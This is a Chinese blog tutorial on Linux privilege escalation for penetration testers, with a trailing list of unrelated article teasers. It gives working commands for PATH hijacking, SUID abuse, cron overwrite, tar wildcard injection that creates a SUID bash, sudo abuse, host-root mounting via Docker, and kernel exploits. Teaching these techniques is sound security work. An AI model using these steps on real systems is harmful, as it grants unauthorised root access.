内网渗透之Linux权限提升大法

news2024/11/16 9:16:11

文章目录

  • 内网渗透|Linux权限提升大法
    • 0x01 前言
    • 0x02 工具介绍
      • 1.traitor
      • 2.LinEnum
      • 3.linux-exploit-suggester.sh
      • 4.Linux Exploit Suggester 2
      • 5.beroot
    • 0X02提权手法
      • 1.环境变量提权
      • 2.利用suid提权
      • 3.定时任务提权
        • 3.1定时任务文件覆盖提权
        • 3.2定时任务tar命令通配符注入提权
      • 4.sudo提权
      • 5.Docker提权
      • 6.内核溢出提权

内网渗透|Linux权限提升大法

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 工具介绍

1.traitor

地址:https://github.com/liamg/traitor

描述:

 1. 自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少
 2. 不带参数运行寻找可能存在的漏洞
 3. 带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

用法:
1.不带参数运行以查找可能允许权限升级的潜在漏洞/错误配置。-p如果当前用户密码已知,则添加该标志。如果需要分析sudo权限等,将要求输入密码。

traitor -p

2.使用-a/--any标志运行以查找潜在漏洞,尝试利用每个漏洞,如果获得 root shell,则停止。-p如果当前用户密码已知,请再次添加该标志。

traitor -a -p

3.使用-e/--exploit标志运行以尝试利用特定漏洞并获得 root shell

traitor -p -e docker:writable-socket

2.LinEnum

地址:https://github.com/rebootuser/LinEnum

描述:

可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式

用法:
在这里插入图片描述

3.linux-exploit-suggester.sh

地址:https://github.com/The-Z-Labs/linux-exploit-suggester

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.评估 Linux 机器对公开已知漏洞的暴露程度:

./linux-exploit-suggester.sh

2.显示 Linux 机器上的安全功能状态:

./linux-exploit-suggester.sh --checksec

3.根据提供的“uname”字符串(即uname -a命令的输出)评估 Linux 内核对已知漏洞的暴露程度:

./linux-exploit-suggester.sh --uname <uname-string>

4.Linux Exploit Suggester 2

地址:https://github.com/jondonas/linux-exploit-suggester-2

描述:

漏扫脚本,查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。

用法:

1.当不带参数运行时,该脚本会执行“uname -r”来获取 Linux 操作系统发行版本,并返回可能的漏洞利用列表。其中包含 CVE 和适用的漏洞利用 POC 的链接。请记住,修补/向后移植的补丁可能会欺骗该脚本。

./linux-exploit-suggester-2.pl

2.使用-k标志手动输入内核/操作系统发行版本的通配符。

./linux-exploit-suggester-2.pl -k 3

3.使用-d标志打开下载菜单,直接从漏洞利用数据库检索漏洞利用代码。您可以下载所有漏洞利用程序,也可以按编号单独选择它们。

./linux-exploit-suggester-2.pl -d

4.使用-h标志显示帮助菜单

5.beroot

地址:https://github.com/AlessandroZ/BeRoot

描述:

BeRoot是一个后开发工具,该项目适用于 Windows、Linux,以方便找到提高我们提权的方法。

0X02提权手法

1.环境变量提权

管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门。

提权流程:

1.ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序

2.找到用户自己编译的程序

3.去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等

4.我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的

5.Linux 在执行命令时会按照以下顺序搜索可执行文件:

 1. 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。
 2. 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。
 3. 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 cd、echo等。如果命令是内建命令,则会执行内建命令。
 4. 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH中指定的径顺序搜索可执行文件。PATH环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。

2.利用suid提权

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

手动查看有suid权限的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print  2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述上面的所有二进制文件都将以 root 权限执行,因为它们的权限中包含"s" 并且由 root 用户拥有。

可以用来提权的命令

Nmap
Vim
find
Bash
More
Less
Nano
cp

例如:find的利用

touch pentestlab
find pentestlab -exec whoami \;

3.定时任务提权

3.1定时任务文件覆盖提权

利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权。

需要具备的条件:

 1. 有root权限执行的定时任务
 2. 有权限修改root权限执行的定时任务

通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的。

例如:

添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行

vim /etc/crontab

这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:
    os.system('rm -r /root/add/*')
except:
    sys.exit()

添加后保存即可,此时定时任务已经添加成功,切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务。

在这里插入图片描述在普通用户下也可以编译定时任务执行的文件。
在这里插入图片描述可以把命令替换成 chmod u+s /bin/bash 赋予bash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shell,需要加上-p参数才能提权,bash -p

我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限

 find `which find` -exec whoami \;
3.2定时任务tar命令通配符注入提权

定时任务Tar命令通配符注入提权(Cron Tar Command Wildcard Injection Privilege Escalation)是指通过在定时任务中使用Tar命令和通配符时,利用不当地输入验证或不正确的权限配置,使攻击者能够执行恶意代码并以更高的权限运行。

例如:
1.添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下

vim /etc/crontab
*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

2.接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件。

创建一个–checkpoint-action=exec=sh test.sh名字的空文件,创建–checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可:

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"  ##执行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
chmod +x test.sh  ##赋予执行权限

这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情。

tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

也就是在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果。

PS:–checkpoint、–checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。–checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。)

3.此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件。

4.使用 /tmp/bash -p 即可提权

PS:还有另一种情况

刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。

vim /etc/crontab
*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

执行完后,只需要等待定时任务触发即可执行我们的test.sh。

4.sudo提权

在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行。
在这里插入图片描述这三条的意思分别是:


root ALL=(ALL:ALL) ALL :
允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。

%admin ALL=(ALL) ALL :
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。

%sudo ALL=(ALL:ALL) ALL :
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这
里也使用了%sudo表示组权限。

在实际情况中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find

这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件:

 1. 知道当前用户的密码
 2. 有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令

如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的。

例如:find提权

sudo find /home -exec whoami \;  ##可以看到获得的是root用户
sudo find /home -exec bash \;    ##或者直接调用bash来获取shell

在这里插入图片描述

5.Docker提权

docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。

区别于docker逃逸,相当于是利用docker进行提权。如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权。

条件:

当前用户在docker用户组,可以使用docke。

1.查看是否在docker组下:

cat /etc/group | grep olw

在这里插入图片描述
2.利用docker,将mnt目录挂载到宿主的根目录,提权成功

docker run -v /:/mnt -it alpine

6.内核溢出提权

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

例如:

第一步:查看目标系统的相关信息

uname -a           #查看内核/操作系统/cpu信息
cat /proc/version  #查看系统信息
cat /etc/issue     #查看操作系统版本
lsb_release -a     #查询系统版本等信息

第二步:使用searchsploit工具寻找对应的exp

searchsploit -t 3.19

在这里插入图片描述

searchsploit -x linux/local/37292.c

在这里插入图片描述

第三步:让目标机器远程下载exp文件
在这里插入图片描述
第四步:将exp文件进行编译
在这里插入图片描述
第五步:执行exp文件,提权成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1246833.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

5分钟搞定!学会使用pytest测试框架!

本文将会把关于 Pytest 的内容分上下两篇&#xff0c;上篇主要涉及关于 pytest 概念以及功能组件知识的介绍&#xff0c;下篇主要以一个 Web 项目来将 Pytest 运用实践中。 为什么要做单元测试 相信很多 Python 使用者都会有这么一个经历&#xff0c;为了测试某个模块或者某个…

Opencv图像处理(全)

文章目录 博主精品专栏导航备注&#xff1a;以下源码均可运行&#xff0c;不同项目涉及的函数均有详细分析说明。11、图像项目实战&#xff08;一&#xff09;银行卡号识别 —— sort_contours()、resize()&#xff08;二&#xff09;文档扫描OCR识别 —— cv2.getPerspectiveT…

「周转箱」降低物料损耗的关键

仓储管理是企业物流系统中的重要组成部分&#xff0c;不仅涉及物品的存储、分拣、包装和配送&#xff0c;其服务质量和效率还将直接关系到企业的生产和经营效益。 在现代制造业中&#xff0c;降低物料损耗是企业追求高效生产和优化成本的关键目标之一。精益生产理念的实施为企…

火爆火爆!影响超250万读者,Python入门圣经全新升级!

人生苦短&#xff0c;快学Python&#xff01; 什么&#xff1f;你没用过&#xff0c;也没开始学习&#xff0c;甚至没有认真了解过这门语言&#xff1f;那你一定这一秒就开始发力——下面让我们先简单看看 Python 有多火。权威编程语言排行榜 TIOBE&#xff0c;2022 和 2023 都…

讲概念谈愿景AI Agent名不副实?看实在智能RPA Agent智能体如何落地!

OpenAI在首届开发者大会上推出了GPTs和Assitant API&#xff0c;不仅改写了AI Agent的构建范式&#xff0c;也把AI智能体的应用推向一个新高潮。GPTs和GPT商店&#xff0c;使得用户无需编码通过自然语言就能创建并拥有多个专属私人助理&#xff0c;且可以如在苹果应用商店一样在…

AI——有什么人类工作是人工智能代替不了的?

虽然人工智能科技的发展在许多方面对人类有着极大的帮助&#xff0c;有些工作能被自动化取代&#xff0c;但仍然有许多工作是人工智能无法代替的&#xff1a; 1. 创作性工作&#xff1a;例如艺术家、作家、音乐家&#xff0c;虽然AI可以模仿创作&#xff0c;但创新和独特个体的…

Jetson orin(Ubuntu20.04)不接显示器无法输出VNC图像解决办法以及vnc安装记录

sudo apt install vino 好像Jetpack 5.0中已经自带了。。 配置VNC server: gsettings set org.gnome.Vino prompt-enabled false gsettings set org.gnome.Vino require-encryption false 编辑org.gnome,增加一个“enabled key”的参数&#xff1a; cd /usr/share/glib-2…

HarmonyOS 设备管理开发:USB 服务开发指导

基本概念 USB 服务是应用访问底层的一种设备抽象概念。开发者根据提供的 USB API&#xff0c;可以获取设备列表、控制设备访问权限、以及与连接的设备进行数据传输、控制命令传输等。 运作机制 USB 服务系统包含 USB API、USB Service、USB HAL。 图 1 USB 服务运作机制 ●…

Jmeter接口测试——使用教程(上)

前言 jmeter是一款小巧&#xff0c;轻便、开源的性能测试工具&#xff0c;它也可以很方便的进行接口测试。 下面我就带大家学习下jmeter接口测试。 一、Jmeter简介 Jmeter是apache公司基于java开发的一款开源压力测试工具&#xff0c;体积小&#xff0c;功能全&#xff0c;使…

MobaXterm连接节点一段时间后超时Session stopped

1、MobaXterm &#xff08;1&#xff09;设置ssh 超时时间 &#xff08;2&#xff09;设置保持连接 如果服务器端设置了超时时间&#xff0c;会以服务器为准&#xff0c;具体设置&#xff1a; 2、服务端 cat /etc/ssh/sshd_config | grep "ClientAlive" 可以把设置…

VOC数据集转换为COCO数据集

VOC数据集格式 get_list.py import os import random import shutil# 设置随机种子 random.seed(1000)# 判断Annotations和JpegImages是否对应 train_precent=0.8 label_path= "../../Annotations" print(os.path.abspath(label_path)) save="../Main" pr…

Ubuntu开机显示recovering journal,进入emergency mode

在一次正常的shutdown -r now之后&#xff0c;服务器启动不起来了&#xff0c;登录界面显示recovering journal&#xff0c;主要报错信息如下所示&#xff1a; /dev/sda2:recovering journal /dev/sda2:Clearn... You are in emergency mode. After logging in, type journalc…

小程序:用户查找英语单词的意思 ← Python字典

【程序分析】 ● 字典中的条目是没有顺序的。 ● 可以对字典使用如下方法&#xff1a; keys()、values()、 items()、 clear()、 get(key)、 pop(key) 和popitem()【程序代码】 dictionary{"dog":"狗","apple":"苹果","banana&q…

基于51单片机倾角MPU6050老人跌倒远程GSM短信报警器+源程序

一、系统方案 1、本设计采用这51单片机作为主控器。 2、MPU6050角度值送到液晶1602显示。 3、红外传感器检测心率。 4、跌倒远程GSM报警。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 void LCD_Init() //初始化液晶时间显示 { write_com…

Linux | 创建 | 删除 | 查看 | 基本命名详解

Linux | 创建 | 删除 | 查看 | 基本命名详解 文章目录 Linux | 创建 | 删除 | 查看 | 基本命名详解前言一、安装Linux1.1 方法一&#xff1a;云服务器方式1.2 方法二&#xff1a;虚拟机方式 二、ls2.2 ll 三、which3.1 ls -ld 四、pwd五、cd5.1 cd .\.5.2 ls -al5.3 重新认识命…

万份水稻样本,挖掘罕见变异

水稻作为全球最重要的粮食作物之一&#xff0c;为全球一半以上的人口提供食物。自然变异是基因改良和现代育种的重要遗传基础&#xff0c;广泛挖掘水稻种质群体中的变异具有重要意义&#xff0c;近年来&#xff0c;科学家们更多关注大规模群体中的稀有变异。 2023年10月&#…

Nat. Biotechnol. | 利用深度学习进行蛋白质同源性检测和结构比对

今天为大家介绍的是来自Kyunghyun Cho和Richard Bonneau团队的一篇论文。在生物技术领域&#xff0c;挖掘序列&#xff08;sequence&#xff09;、结构&#xff08;structure&#xff09;和功能&#xff08;function&#xff09;之间的关系&#xff0c;需要更好的方法来比对那些…

国内企业出海首选的免费开源订单管理系统(OMS)解决方案

用开源智造Odoo订单管理系统 (OMS) 解决方案实现"订单到收款"流程自动化 开源智造Odoo 订单管理软件功能消除了手动操作瓶颈&#xff0c;可防止出错&#xff0c;还建立了从销售报价到订单履行的顺畅工作流来确保及时开票和付款&#xff0c;从而帮助您理顺订单处理过程…

前端设计问题:iframe

居中问题&#xff1a; 尝试了一般的居中方法&#xff0c;无效果 display: flex;justify-content: center;align-items: center;放到导航栏下面不居中 放到页面底部还是不居中 Code <iframe id"demo_sanshui" src"demo_sanshui.html" width"120%…

什么是 npm —— 写给初学者的编程教程

原文链接&#xff1a; 什么是 npm —— 写给初学者的编程教程 自 2009 年以来&#xff0c;Node.js 一直席卷全球。成千上万个系统基于 Node.js 构建&#xff0c;促使开发者在社区宣称“JavaScript 正在吞噬软件”。 Node 成功的主要因素之一是它广受欢迎的软件包管理器——np…